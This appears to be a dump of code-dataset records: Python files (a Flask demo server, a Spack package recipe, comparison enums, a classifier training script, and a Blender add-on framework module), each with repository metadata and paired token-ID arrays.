1678,
732,
2272,
1688,
29889,
7241,
15546,
13,
1678,
822,
21957,
29918,
1482,
29898,
1311,
29892,
1404,
29918,
4645,
29892,
21957,
29892,
1857,
29918,
1256,
29892,
1404,
1125,
13,
4706,
2407,
353,
14164,
29889,
12650,
29889,
3258,
29898,
13,
9651,
7663,
29922,
449,
2763,
29892,
5253,
29922,
29896,
29892,
1369,
29918,
1256,
29922,
3784,
29918,
1256,
29892,
1404,
29922,
1792,
29897,
13,
4706,
736,
2407,
13,
13,
1678,
822,
1243,
29918,
3258,
29918,
18280,
29918,
1482,
29918,
333,
29898,
13,
9651,
1583,
29892,
21957,
29892,
1857,
29918,
1256,
29892,
1404,
29918,
4645,
1125,
13,
4706,
1400,
29918,
1272,
353,
426,
13,
9651,
525,
8216,
2396,
525,
449,
2763,
742,
13,
9651,
525,
7320,
2396,
21957,
29889,
333,
29892,
13,
9651,
525,
1482,
29918,
7320,
2396,
15516,
13,
9651,
525,
14506,
2396,
29871,
29896,
29892,
13,
9651,
525,
2962,
29918,
1256,
2396,
1857,
29918,
1256,
29889,
710,
615,
603,
11702,
29881,
29889,
29995,
29885,
29889,
29995,
29979,
4968,
13,
4706,
500,
13,
4706,
1653,
29918,
449,
2763,
29918,
2271,
353,
11837,
703,
3258,
29918,
11651,
613,
9049,
5085,
3790,
29908,
1853,
1115,
19474,
3217,
2303,
1800,
13,
4706,
2933,
353,
1404,
29918,
4645,
29889,
2490,
29898,
3258,
29918,
449,
2763,
29918,
2271,
29892,
1400,
29918,
1272,
29897,
13,
4706,
4974,
2933,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
13,
4706,
1018,
29901,
13,
9651,
716,
29918,
333,
353,
4390,
29889,
18132,
29898,
5327,
29889,
3051,
29897,
13,
4706,
5174,
7865,
2392,
29901,
13,
9651,
12020,
8960,
703,
2500,
338,
8340,
470,
2793,
338,
451,
263,
4390,
1159,
13,
4706,
4974,
716,
29918,
333,
1405,
29871,
29900,
13,
13,
1678,
822,
1243,
29918,
5504,
29918,
25990,
29918,
1767,
29918,
262,
29918,
2585,
29898,
13,
9651,
1583,
29892,
21957,
29918,
1482,
29892,
21957,
29892,
1404,
29892,
1404,
29918,
4645,
29892,
13,
9651,
1857,
29918,
1256,
1125,
13,
4706,
716,
29918,
8216,
353,
376,
15033,
21957,
29908,
13,
4706,
716,
29918,
14506,
353,
29871,
29929,
29929,
29929,
29929,
13,
4706,
2767,
29918,
11651,
29918,
2271,
353,
11837,
29898,
13,
9651,
376,
5504,
29918,
11651,
613,
9049,
5085,
3790,
29908,
20571,
1115,
21957,
29918,
1482,
29889,
333,
1800,
13,
4706,
1400,
29918,
1272,
353,
426,
13,
9651,
525,
8216,
2396,
716,
29918,
8216,
29892,
13,
9651,
525,
7320,
2396,
21957,
29889,
333,
29892,
13,
9651,
525,
1482,
29918,
7320,
2396,
15516,
13,
9651,
525,
14506,
2396,
716,
29918,
14506,
29892,
13,
9651,
525,
2962,
29918,
1256,
2396,
1857,
29918,
1256,
29889,
710,
615,
603,
11702,
29881,
29889,
29995,
29885,
29889,
29995,
29979,
4968,
13,
4706,
500,
13,
4706,
2933,
353,
1404,
29918,
4645,
29889,
2490,
29898,
5504,
29918,
11651,
29918,
2271,
29892,
1400,
29918,
1272,
29897,
13,
4706,
4974,
2933,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
13,
4706,
4784,
353,
4390,
29889,
18132,
29898,
5327,
29889,
3051,
29897,
13,
4706,
4974,
4784,
1839,
333,
2033,
1275,
21957,
29918,
1482,
29889,
333,
13,
4706,
2777,
353,
14164,
29889,
12650,
29889,
657,
29898,
20571,
29922,
21402,
1839,
333,
11287,
13,
4706,
4974,
2777,
29889,
14506,
1275,
716,
29918,
14506,
13,
4706,
4974,
2777,
29889,
8216,
1275,
716,
29918,
8216,
13,
13,
1678,
822,
1243,
29918,
8143,
29918,
18280,
29918,
1217,
29918,
333,
29898,
13,
9651,
1583,
29892,
21957,
29918,
1482,
29892,
1404,
29918,
4645,
1125,
13,
4706,
5217,
29918,
11651,
29918,
2271,
353,
11837,
29898,
13,
9651,
376,
8143,
29918,
11651,
613,
9049,
5085,
3790,
29908,
20571,
1115,
21957,
29918,
1482,
29889,
333,
1800,
13,
4706,
2933,
353,
1404,
29918,
4645,
29889,
2490,
29898,
8143,
29918,
11651,
29918,
2271,
29897,
13,
4706,
4974,
2933,
29889,
4882,
29918,
401,
1275,
29871,
29906,
29900,
29900,
13,
4706,
11132,
353,
4390,
29889,
18132,
29898,
5327,
29889,
3051,
29897,
13,
4706,
4974,
11132,
1839,
333,
2033,
338,
29871,
29900,
13,
2
] |
demo/production/production_server.py | lanius/hunk | 1 | 119876 | <filename>demo/production/production_server.py
# -*- coding: utf-8 -*-
from flask import Flask, jsonify
app = Flask(__name__)
@app.after_request
def after_request(response):
response.headers.add('Access-Control-Allow-Origin', '*')
return response
@app.route('/available/<int:i>')
def from_production(i):
return jsonify({'message': 'I am from production server.'})
def main():
app.run('localhost', 9000)
if __name__ == '__main__':
main()
| [
1,
529,
9507,
29958,
17482,
29914,
24601,
29914,
24601,
29918,
2974,
29889,
2272,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
3166,
29784,
1053,
2379,
1278,
29892,
4390,
1598,
13,
13,
13,
932,
353,
2379,
1278,
22168,
978,
1649,
29897,
13,
13,
13,
29992,
932,
29889,
7045,
29918,
3827,
13,
1753,
1156,
29918,
3827,
29898,
5327,
1125,
13,
1678,
2933,
29889,
13662,
29889,
1202,
877,
6638,
29899,
4809,
29899,
15930,
29899,
23182,
742,
525,
29930,
1495,
13,
1678,
736,
2933,
13,
13,
13,
29992,
932,
29889,
13134,
11219,
16515,
29914,
29966,
524,
29901,
29875,
29958,
1495,
13,
1753,
515,
29918,
24601,
29898,
29875,
1125,
13,
1678,
736,
4390,
1598,
3319,
29915,
4906,
2396,
525,
29902,
626,
515,
5802,
1923,
6169,
1800,
13,
13,
13,
1753,
1667,
7295,
13,
1678,
623,
29889,
3389,
877,
7640,
742,
29871,
29929,
29900,
29900,
29900,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
13,
2
] |
var/spack/repos/builtin/packages/mitofates/package.py | whitfin/spack | 3 | 1611866 | <reponame>whitfin/spack<gh_stars>1-10
# Copyright 2013-2019 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
from spack import *
import glob
class Mitofates(Package):
"""MitoFates predicts mitochondrial presequence, a cleavable localization
signal located in N-terminal, and its cleaved position."""
homepage = "http://mitf.cbrc.jp/MitoFates/cgi-bin/top.cgi"
url = "http://mitf.cbrc.jp/MitoFates/program/MitoFates_1.2.tar.gz"
version('1.2', 'aaac42a8e8c7318a4abde9df3a4b72d1')
depends_on('libsvm')
depends_on('perl', type='run')
depends_on('perl-inline-c', type='run')
depends_on('perl-perl6-slurp', type='run')
depends_on('perl-math-cephes', type='run')
# The DirichletRegulator_fast.pm sets the perl Inline directory
# to be inside the deployed source (which won't be writable by
# the end user of site wide deployed software.
# Removing that config entry will cause the inline module to auto
# create a directory in the user's homedir instead
patch('DirichletRegulator_fast.patch')
def patch(self):
perlscripts = FileFilter('MitoFates.pl')
perlscripts.filter('#!/usr/bin/perl', '#!/usr/bin/env perl')
# other perl module files probably should get this filter too
with working_dir(join_path(self.stage.source_path, 'bin/modules')):
perlmodules = glob.glob('*.pm')
filter_file('#!/usr/bin/perl', '#!/usr/bin/env perl', *perlmodules)
def install(self, spec, prefix):
install_tree('bin', prefix.bin)
install('MitoFates.pl', prefix)
chmod = which('chmod')
chmod('+x', join_path(prefix, 'MitoFates.pl'))
def setup_environment(self, spack_env, run_env):
# We want the main MitoFates.pl script in the path
run_env.prepend_path('PATH', self.prefix)
| [
1,
529,
276,
1112,
420,
29958,
1332,
277,
4951,
29914,
1028,
547,
29966,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
14187,
1266,
29871,
29906,
29900,
29896,
29941,
29899,
29906,
29900,
29896,
29929,
19520,
22469,
5514,
3086,
14223,
29892,
365,
12182,
322,
916,
13,
29937,
1706,
547,
8010,
10682,
414,
29889,
2823,
278,
2246,
29899,
5563,
315,
4590,
29979,
22789,
3912,
934,
363,
4902,
29889,
13,
29937,
13,
29937,
10937,
29928,
29990,
29899,
29931,
293,
1947,
29899,
12889,
29901,
313,
17396,
1829,
29899,
29906,
29889,
29900,
6323,
341,
1806,
29897,
13,
13,
3166,
805,
547,
1053,
334,
13,
5215,
13149,
13,
13,
13,
1990,
4573,
974,
1078,
29898,
14459,
1125,
13,
1678,
9995,
29924,
2049,
29943,
1078,
8500,
29879,
1380,
2878,
898,
9315,
544,
968,
3910,
29892,
263,
4531,
485,
519,
1887,
2133,
13,
539,
7182,
5982,
297,
405,
29899,
8489,
979,
29892,
322,
967,
4531,
10511,
2602,
1213,
15945,
13,
13,
1678,
3271,
3488,
353,
376,
1124,
597,
2415,
29888,
29889,
29883,
1182,
29883,
29889,
16865,
29914,
29924,
2049,
29943,
1078,
29914,
20006,
29899,
2109,
29914,
3332,
29889,
20006,
29908,
13,
1678,
3142,
418,
353,
376,
1124,
597,
2415,
29888,
29889,
29883,
1182,
29883,
29889,
16865,
29914,
29924,
2049,
29943,
1078,
29914,
8860,
29914,
29924,
2049,
29943,
1078,
29918,
29896,
29889,
29906,
29889,
12637,
29889,
18828,
29908,
13,
13,
1678,
1873,
877,
29896,
29889,
29906,
742,
525,
7340,
562,
29946,
29906,
29874,
29947,
29872,
29947,
29883,
29955,
29941,
29896,
29947,
29874,
29946,
370,
311,
29929,
2176,
29941,
29874,
29946,
29890,
29955,
29906,
29881,
29896,
1495,
13,
13,
1678,
7111,
29918,
265,
877,
1982,
4501,
29885,
1495,
13,
1678,
7111,
29918,
265,
877,
22032,
742,
1134,
2433,
3389,
1495,
13,
1678,
7111,
29918,
265,
877,
22032,
29899,
14764,
29899,
29883,
742,
1134,
2433,
3389,
1495,
13,
1678,
7111,
29918,
265,
877,
22032,
29899,
22032,
29953,
29899,
2536,
332,
29886,
742,
1134,
2433,
3389,
1495,
13,
1678,
7111,
29918,
265,
877,
22032,
29899,
755,
29899,
346,
561,
267,
742,
1134,
2433,
3389,
1495,
13,
13,
1678,
396,
450,
19378,
436,
1026,
4597,
9183,
29918,
11255,
29889,
3358,
6166,
278,
21185,
512,
1220,
3884,
13,
1678,
396,
304,
367,
2768,
278,
21168,
2752,
313,
4716,
2113,
29915,
29873,
367,
2044,
519,
491,
13,
1678,
396,
278,
1095,
1404,
310,
3268,
9377,
21168,
7047,
29889,
13,
1678,
396,
5240,
21081,
393,
2295,
6251,
674,
4556,
278,
10583,
3883,
304,
4469,
13,
1678,
396,
1653,
263,
3884,
297,
278,
1404,
29915,
29879,
3632,
287,
381,
2012,
13,
1678,
13261,
877,
9170,
436,
1026,
4597,
9183,
29918,
11255,
29889,
5041,
1495,
13,
13,
1678,
822,
13261,
29898,
1311,
1125,
13,
4706,
21185,
16713,
353,
3497,
5072,
877,
29924,
2049,
29943,
1078,
29889,
572,
1495,
13,
4706,
21185,
16713,
29889,
4572,
14237,
14708,
4855,
29914,
2109,
29914,
22032,
742,
16321,
14708,
4855,
29914,
2109,
29914,
6272,
21185,
1495,
13,
13,
4706,
396,
916,
21185,
3883,
2066,
3117,
881,
679,
445,
4175,
2086,
13,
4706,
411,
1985,
29918,
3972,
29898,
7122,
29918,
2084,
29898,
1311,
29889,
19190,
29889,
4993,
29918,
2084,
29892,
525,
2109,
29914,
7576,
8785,
29901,
13,
9651,
21185,
7576,
353,
13149,
29889,
23705,
877,
10521,
3358,
1495,
13,
9651,
4175,
29918,
1445,
14237,
14708,
4855,
29914,
2109,
29914,
22032,
742,
16321,
14708,
4855,
29914,
2109,
29914,
6272,
21185,
742,
334,
22032,
7576,
29897,
13,
13,
1678,
822,
2601,
29898,
1311,
29892,
1580,
29892,
10944,
1125,
13,
4706,
2601,
29918,
8336,
877,
2109,
742,
10944,
29889,
2109,
29897,
13,
4706,
2601,
877,
29924,
2049,
29943,
1078,
29889,
572,
742,
10944,
29897,
13,
4706,
521,
1545,
353,
607,
877,
305,
1545,
1495,
13,
4706,
521,
1545,
877,
29974,
29916,
742,
5988,
29918,
2084,
29898,
13506,
29892,
525,
29924,
2049,
29943,
1078,
29889,
572,
8785,
13,
13,
1678,
822,
6230,
29918,
20944,
29898,
1311,
29892,
805,
547,
29918,
6272,
29892,
1065,
29918,
6272,
1125,
13,
4706,
396,
1334,
864,
278,
1667,
341,
2049,
29943,
1078,
29889,
572,
2471,
297,
278,
2224,
13,
4706,
1065,
29918,
6272,
29889,
1457,
14081,
29918,
2084,
877,
10145,
742,
1583,
29889,
13506,
29897,
13,
2
] |
galleries/annotations_filtering/__init__.py | mnicolas94/galleries | 0 | 53547 | <gh_stars>0
import enum
class ComparisonType(enum.Enum):
EQUAL = 0
NOTEQUAL = 1
LESS = 2
GREATER = 3
GREATER_EQUAL = 4
LESS_EQUAL = 5
CONTAINS = 6
data_type_to_comparison_type = {
bool: [
ComparisonType.EQUAL,
ComparisonType.NOTEQUAL
],
int: [
ComparisonType.EQUAL,
ComparisonType.NOTEQUAL,
ComparisonType.LESS,
ComparisonType.GREATER,
ComparisonType.GREATER_EQUAL,
ComparisonType.LESS_EQUAL
],
float: [
ComparisonType.EQUAL,
ComparisonType.NOTEQUAL,
ComparisonType.LESS,
ComparisonType.GREATER,
ComparisonType.GREATER_EQUAL,
ComparisonType.LESS_EQUAL
],
str: [
ComparisonType.EQUAL,
ComparisonType.NOTEQUAL,
ComparisonType.CONTAINS,
],
list: [
ComparisonType.CONTAINS,
]
}
def equal_func(a, b) -> bool:
return a == b
def not_equal_func(a, b) -> bool:
return a != b
def less_func(a, b) -> bool:
return a < b
def less_equal_func(a, b) -> bool:
return a <= b
def greater_func(a, b) -> bool:
return a > b
def greater_equal_func(a, b) -> bool:
return a >= b
def contains_func(l: list, a) -> bool:
return a in l
comparison_type_functions = {
ComparisonType.EQUAL: equal_func,
ComparisonType.NOTEQUAL: not_equal_func,
ComparisonType.LESS: less_func,
ComparisonType.GREATER: greater_func,
ComparisonType.GREATER_EQUAL: greater_equal_func,
ComparisonType.LESS_EQUAL: less_equal_func,
ComparisonType.CONTAINS: contains_func,
}
comparison_type_to_sql_operator = {
ComparisonType.EQUAL: "==",
ComparisonType.NOTEQUAL: "==",
ComparisonType.LESS: "<",
ComparisonType.GREATER: ">",
ComparisonType.GREATER_EQUAL: ">=",
ComparisonType.LESS_EQUAL: "<=",
}
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
14115,
13,
13,
13,
1990,
422,
20941,
1542,
29898,
18605,
29889,
16854,
1125,
13,
1678,
382,
13356,
1964,
353,
29871,
29900,
13,
1678,
6058,
29923,
13356,
1964,
353,
29871,
29896,
13,
1678,
11060,
1799,
353,
29871,
29906,
13,
1678,
402,
1525,
1299,
1001,
353,
29871,
29941,
13,
1678,
402,
1525,
1299,
1001,
29918,
29923,
13356,
1964,
353,
29871,
29946,
13,
1678,
11060,
1799,
29918,
29923,
13356,
1964,
353,
29871,
29945,
13,
1678,
8707,
6040,
1177,
29903,
353,
29871,
29953,
13,
13,
13,
1272,
29918,
1853,
29918,
517,
29918,
510,
20941,
29918,
1853,
353,
426,
13,
1678,
6120,
29901,
518,
13,
4706,
422,
20941,
1542,
29889,
29923,
13356,
1964,
29892,
13,
4706,
422,
20941,
1542,
29889,
12256,
29923,
13356,
1964,
13,
1678,
21251,
13,
1678,
938,
29901,
518,
13,
4706,
422,
20941,
1542,
29889,
29923,
13356,
1964,
29892,
13,
4706,
422,
20941,
1542,
29889,
12256,
29923,
13356,
1964,
29892,
13,
4706,
422,
20941,
1542,
29889,
1307,
1799,
29892,
13,
4706,
422,
20941,
1542,
29889,
29954,
1525,
1299,
1001,
29892,
13,
4706,
422,
20941,
1542,
29889,
29954,
1525,
1299,
1001,
29918,
29923,
13356,
1964,
29892,
13,
4706,
422,
20941,
1542,
29889,
1307,
1799,
29918,
29923,
13356,
1964,
13,
1678,
21251,
13,
1678,
5785,
29901,
518,
13,
4706,
422,
20941,
1542,
29889,
29923,
13356,
1964,
29892,
13,
4706,
422,
20941,
1542,
29889,
12256,
29923,
13356,
1964,
29892,
13,
4706,
422,
20941,
1542,
29889,
1307,
1799,
29892,
13,
4706,
422,
20941,
1542,
29889,
29954,
1525,
1299,
1001,
29892,
13,
4706,
422,
20941,
1542,
29889,
29954,
1525,
1299,
1001,
29918,
29923,
13356,
1964,
29892,
13,
4706,
422,
20941,
1542,
29889,
1307,
1799,
29918,
29923,
13356,
1964,
13,
1678,
21251,
13,
1678,
851,
29901,
518,
13,
4706,
422,
20941,
1542,
29889,
29923,
13356,
1964,
29892,
13,
4706,
422,
20941,
1542,
29889,
12256,
29923,
13356,
1964,
29892,
13,
4706,
422,
20941,
1542,
29889,
6007,
6040,
1177,
29903,
29892,
13,
1678,
21251,
13,
1678,
1051,
29901,
518,
13,
4706,
422,
20941,
1542,
29889,
6007,
6040,
1177,
29903,
29892,
13,
1678,
4514,
13,
29913,
13,
13,
13,
1753,
5186,
29918,
9891,
29898,
29874,
29892,
289,
29897,
1599,
6120,
29901,
13,
1678,
736,
263,
1275,
289,
13,
13,
13,
1753,
451,
29918,
11745,
29918,
9891,
29898,
29874,
29892,
289,
29897,
1599,
6120,
29901,
13,
1678,
736,
263,
2804,
289,
13,
13,
13,
1753,
3109,
29918,
9891,
29898,
29874,
29892,
289,
29897,
1599,
6120,
29901,
13,
1678,
736,
263,
529,
289,
13,
13,
13,
1753,
3109,
29918,
11745,
29918,
9891,
29898,
29874,
29892,
289,
29897,
1599,
6120,
29901,
13,
1678,
736,
263,
5277,
289,
13,
13,
13,
1753,
7621,
29918,
9891,
29898,
29874,
29892,
289,
29897,
1599,
6120,
29901,
13,
1678,
736,
263,
1405,
289,
13,
13,
13,
1753,
7621,
29918,
11745,
29918,
9891,
29898,
29874,
29892,
289,
29897,
1599,
6120,
29901,
13,
1678,
736,
263,
6736,
289,
13,
13,
13,
1753,
3743,
29918,
9891,
29898,
29880,
29901,
1051,
29892,
263,
29897,
1599,
6120,
29901,
13,
1678,
736,
263,
297,
301,
13,
13,
13,
510,
20941,
29918,
1853,
29918,
12171,
353,
426,
13,
1678,
422,
20941,
1542,
29889,
29923,
13356,
1964,
29901,
5186,
29918,
9891,
29892,
13,
1678,
422,
20941,
1542,
29889,
12256,
29923,
13356,
1964,
29901,
451,
29918,
11745,
29918,
9891,
29892,
13,
1678,
422,
20941,
1542,
29889,
1307,
1799,
29901,
3109,
29918,
9891,
29892,
13,
1678,
422,
20941,
1542,
29889,
29954,
1525,
1299,
1001,
29901,
7621,
29918,
9891,
29892,
13,
1678,
422,
20941,
1542,
29889,
29954,
1525,
1299,
1001,
29918,
29923,
13356,
1964,
29901,
7621,
29918,
11745,
29918,
9891,
29892,
13,
1678,
422,
20941,
1542,
29889,
1307,
1799,
29918,
29923,
13356,
1964,
29901,
3109,
29918,
11745,
29918,
9891,
29892,
13,
1678,
422,
20941,
1542,
29889,
6007,
6040,
1177,
29903,
29901,
3743,
29918,
9891,
29892,
13,
29913,
13,
13,
13,
510,
20941,
29918,
1853,
29918,
517,
29918,
2850,
29918,
6891,
353,
426,
13,
1678,
422,
20941,
1542,
29889,
29923,
13356,
1964,
29901,
376,
26359,
29892,
13,
1678,
422,
20941,
1542,
29889,
12256,
29923,
13356,
1964,
29901,
376,
26359,
29892,
13,
1678,
422,
20941,
1542,
29889,
1307,
1799,
29901,
9872,
613,
13,
1678,
422,
20941,
1542,
29889,
29954,
1525,
1299,
1001,
29901,
376,
28341,
13,
1678,
422,
20941,
1542,
29889,
29954,
1525,
1299,
1001,
29918,
29923,
13356,
1964,
29901,
376,
29958,
543,
29892,
13,
1678,
422,
20941,
1542,
29889,
1307,
1799,
29918,
29923,
13356,
1964,
29901,
9872,
543,
29892,
13,
29913,
13,
2
] |
Verify-Manual-python/train/core/train.py | skyduy/zfverify | 52 | 117976 | # coding: utf-8
from numpy import matrix
from oneVsAll import oneVsAll
from numpy import loadtxt, savetxt
from predictOneVsAll import predictOneVsAll
def train():
num_labels = 34
print '... Training'
X = matrix(loadtxt('X.dat')) / 255.0
y = matrix(loadtxt('y.dat')).transpose()
the_lambda = 0.1
all_theta = oneVsAll(X, y, num_labels, the_lambda)
savetxt('theta.dat', all_theta)
def test():
print '... Testing'
all_theta = matrix(loadtxt('theta.dat'))
X_test = matrix(loadtxt('X_test.dat')) / 255.0
y_test = matrix(loadtxt('y_test.dat')).transpose()
acc, pred = predictOneVsAll(all_theta, X_test)
single_acc = sum(pred == y_test) / (len(y_test) * 1.0)
max_acc = pow(single_acc, 4)
min_acc = single_acc*4 - 3
print 'Theoretical accuracy:'
print '\tSingle accuracy: %2.2f%%' % (single_acc*100)
print '\tTotal accuracy: %2.2f%% ~ %2.2f%%' % (min_acc*100, max_acc*100)
test()
| [
1,
396,
14137,
29901,
23616,
29899,
29947,
13,
3166,
12655,
1053,
4636,
13,
3166,
697,
29963,
29879,
3596,
1053,
697,
29963,
29879,
3596,
13,
3166,
12655,
1053,
2254,
3945,
29892,
4048,
300,
486,
13,
3166,
8500,
6716,
29963,
29879,
3596,
1053,
8500,
6716,
29963,
29879,
3596,
13,
13,
13,
1753,
7945,
7295,
13,
1678,
954,
29918,
21134,
353,
29871,
29941,
29946,
13,
13,
1678,
1596,
525,
856,
26101,
29915,
13,
1678,
1060,
353,
4636,
29898,
1359,
3945,
877,
29990,
29889,
4130,
8785,
847,
29871,
29906,
29945,
29945,
29889,
29900,
13,
1678,
343,
353,
4636,
29898,
1359,
3945,
877,
29891,
29889,
4130,
1495,
467,
3286,
4220,
580,
13,
1678,
278,
29918,
2892,
353,
29871,
29900,
29889,
29896,
13,
1678,
599,
29918,
3416,
353,
697,
29963,
29879,
3596,
29898,
29990,
29892,
343,
29892,
954,
29918,
21134,
29892,
278,
29918,
2892,
29897,
13,
1678,
4048,
300,
486,
877,
3416,
29889,
4130,
742,
599,
29918,
3416,
29897,
13,
13,
13,
1753,
1243,
7295,
13,
1678,
1596,
525,
856,
4321,
292,
29915,
13,
1678,
599,
29918,
3416,
353,
4636,
29898,
1359,
3945,
877,
3416,
29889,
4130,
8785,
13,
1678,
1060,
29918,
1688,
353,
4636,
29898,
1359,
3945,
877,
29990,
29918,
1688,
29889,
4130,
8785,
847,
29871,
29906,
29945,
29945,
29889,
29900,
13,
1678,
343,
29918,
1688,
353,
4636,
29898,
1359,
3945,
877,
29891,
29918,
1688,
29889,
4130,
1495,
467,
3286,
4220,
580,
13,
1678,
1035,
29892,
4450,
353,
8500,
6716,
29963,
29879,
3596,
29898,
497,
29918,
3416,
29892,
1060,
29918,
1688,
29897,
13,
1678,
2323,
29918,
5753,
353,
2533,
29898,
11965,
1275,
343,
29918,
1688,
29897,
847,
313,
2435,
29898,
29891,
29918,
1688,
29897,
334,
29871,
29896,
29889,
29900,
29897,
13,
1678,
4236,
29918,
5753,
353,
4764,
29898,
14369,
29918,
5753,
29892,
29871,
29946,
29897,
13,
1678,
1375,
29918,
5753,
353,
2323,
29918,
5753,
29930,
29946,
448,
29871,
29941,
13,
1678,
1596,
525,
1576,
12116,
936,
13600,
11283,
13,
1678,
1596,
11297,
29873,
15771,
13600,
29901,
1273,
29906,
29889,
29906,
29888,
7686,
29915,
1273,
313,
14369,
29918,
5753,
29930,
29896,
29900,
29900,
29897,
13,
1678,
1596,
11297,
29873,
11536,
13600,
29901,
1273,
29906,
29889,
29906,
29888,
7686,
3695,
1273,
29906,
29889,
29906,
29888,
7686,
29915,
1273,
313,
1195,
29918,
5753,
29930,
29896,
29900,
29900,
29892,
4236,
29918,
5753,
29930,
29896,
29900,
29900,
29897,
13,
13,
13,
1688,
580,
13,
2
] |
blender/2.79/scripts/addons/modules/extensions_framework/__init__.py | uzairakbar/bpy2.79 | 2 | 22987 | # -*- coding: utf-8 -*-
#
# ***** BEGIN GPL LICENSE BLOCK *****
#
# --------------------------------------------------------------------------
# Blender 2.5 Extensions Framework
# --------------------------------------------------------------------------
#
# Authors:
# <NAME>
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, see <http://www.gnu.org/licenses/>.
#
# ***** END GPL LICENCE BLOCK *****
#
import time
import bpy
from extensions_framework.ui import EF_OT_msg
bpy.utils.register_class(EF_OT_msg)
del EF_OT_msg
def log(str, popup=False, module_name='EF'):
"""Print a message to the console, prefixed with the module_name
and the current time. If the popup flag is True, the message will
be raised in the UI as a warning using the operator bpy.ops.ef.msg.
"""
print("[%s %s] %s" %
(module_name, time.strftime('%Y-%b-%d %H:%M:%S'), str))
if popup:
bpy.ops.ef.msg(
msg_type='WARNING',
msg_text=str
)
added_property_cache = {}
def init_properties(obj, props, cache=True):
"""Initialise custom properties in the given object or type.
The props list is described in the declarative_property_group
class definition. If the cache flag is False, this function
will attempt to redefine properties even if they have already been
added.
"""
if not obj in added_property_cache.keys():
added_property_cache[obj] = []
for prop in props:
try:
if cache and prop['attr'] in added_property_cache[obj]:
continue
if prop['type'] == 'bool':
t = bpy.props.BoolProperty
a = {k: v for k,v in prop.items() if k in ["name",
"description","default","options","subtype","update"]}
elif prop['type'] == 'bool_vector':
t = bpy.props.BoolVectorProperty
a = {k: v for k,v in prop.items() if k in ["name",
"description","default","options","subtype","size",
"update"]}
elif prop['type'] == 'collection':
t = bpy.props.CollectionProperty
a = {k: v for k,v in prop.items() if k in ["ptype","name",
"description","default","options"]}
a['type'] = a['ptype']
del a['ptype']
elif prop['type'] == 'enum':
t = bpy.props.EnumProperty
a = {k: v for k,v in prop.items() if k in ["items","name",
"description","default","options","update"]}
elif prop['type'] == 'float':
t = bpy.props.FloatProperty
a = {k: v for k,v in prop.items() if k in ["name",
"description","default","min","max","soft_min","soft_max",
"step","precision","options","subtype","unit","update"]}
elif prop['type'] == 'float_vector':
t = bpy.props.FloatVectorProperty
a = {k: v for k,v in prop.items() if k in ["name",
"description","default","min","max","soft_min","soft_max",
"step","precision","options","subtype","size","update"]}
elif prop['type'] == 'int':
t = bpy.props.IntProperty
a = {k: v for k,v in prop.items() if k in ["name",
"description","default","min","max","soft_min","soft_max",
"step","options","subtype","update"]}
elif prop['type'] == 'int_vector':
t = bpy.props.IntVectorProperty
a = {k: v for k,v in prop.items() if k in ["name",
"description","default","min","max","soft_min","soft_max",
"options","subtype","size","update"]}
elif prop['type'] == 'pointer':
t = bpy.props.PointerProperty
a = {k: v for k,v in prop.items() if k in ["ptype", "name",
"description","options","update"]}
a['type'] = a['ptype']
del a['ptype']
elif prop['type'] == 'string':
t = bpy.props.StringProperty
a = {k: v for k,v in prop.items() if k in ["name",
"description","default","maxlen","options","subtype",
"update"]}
else:
continue
setattr(obj, prop['attr'], t(**a))
added_property_cache[obj].append(prop['attr'])
except KeyError:
# Silently skip invalid entries in props
continue
class declarative_property_group(bpy.types.PropertyGroup):
"""A declarative_property_group describes a set of logically
related properties, using a declarative style to list each
property type, name, values, and other relevant information.
The information provided for each property depends on the
property's type.
The properties list attribute in this class describes the
properties present in this group.
Some additional information about the properties in this group
can be specified, so that a UI can be generated to display them.
To that end, the controls list attribute and the visibility dict
attribute are present here, to be read and interpreted by a
property_group_renderer object.
See extensions_framework.ui.property_group_renderer.
"""
ef_initialised = False
"""This property tells extensions_framework which bpy.type(s)
to attach this PropertyGroup to. If left as an empty list,
it will not be attached to any type, but its properties will
still be initialised. The type(s) given in the list should be
a string, such as 'Scene'.
"""
ef_attach_to = []
@classmethod
def initialise_properties(cls):
"""This is a function that should be called on
sub-classes of declarative_property_group in order
to ensure that they are initialised when the addon
is loaded.
the init_properties is called without caching here,
as it is assumed that any addon calling this function
will also call ef_remove_properties when it is
unregistered.
"""
if not cls.ef_initialised:
for property_group_parent in cls.ef_attach_to:
if property_group_parent is not None:
prototype = getattr(bpy.types, property_group_parent)
if not hasattr(prototype, cls.__name__):
init_properties(prototype, [{
'type': 'pointer',
'attr': cls.__name__,
'ptype': cls,
'name': cls.__name__,
'description': cls.__name__
}], cache=False)
init_properties(cls, cls.properties, cache=False)
cls.ef_initialised = True
return cls
@classmethod
def register_initialise_properties(cls):
"""As ef_initialise_properties, but also registers the
class with RNA. Note that this isn't a great idea
because it's non-trivial to unregister the class, unless
you keep track of it yourself.
"""
bpy.utils.register_class(cls)
cls.initialise_properties()
return cls
@classmethod
def remove_properties(cls):
"""This is a function that should be called on
sub-classes of declarative_property_group in order
to ensure that they are un-initialised when the addon
is unloaded.
"""
if cls.ef_initialised:
prototype = getattr(bpy.types, cls.__name__)
for prop in cls.properties:
if hasattr(prototype, prop['attr']):
delattr(prototype, prop['attr'])
for property_group_parent in cls.ef_attach_to:
if property_group_parent is not None:
prototype = getattr(bpy.types, property_group_parent)
if hasattr(prototype, cls.__name__):
delattr(prototype, cls.__name__)
cls.ef_initialised = False
return cls
"""This list controls the order of property layout when rendered
by a property_group_renderer. This can be a nested list, where each
list becomes a row in the panel layout. Nesting may be to any depth.
"""
controls = []
"""The visibility dict controls the visibility of properties based on
the value of other properties. See extensions_framework.validate
for test syntax.
"""
visibility = {}
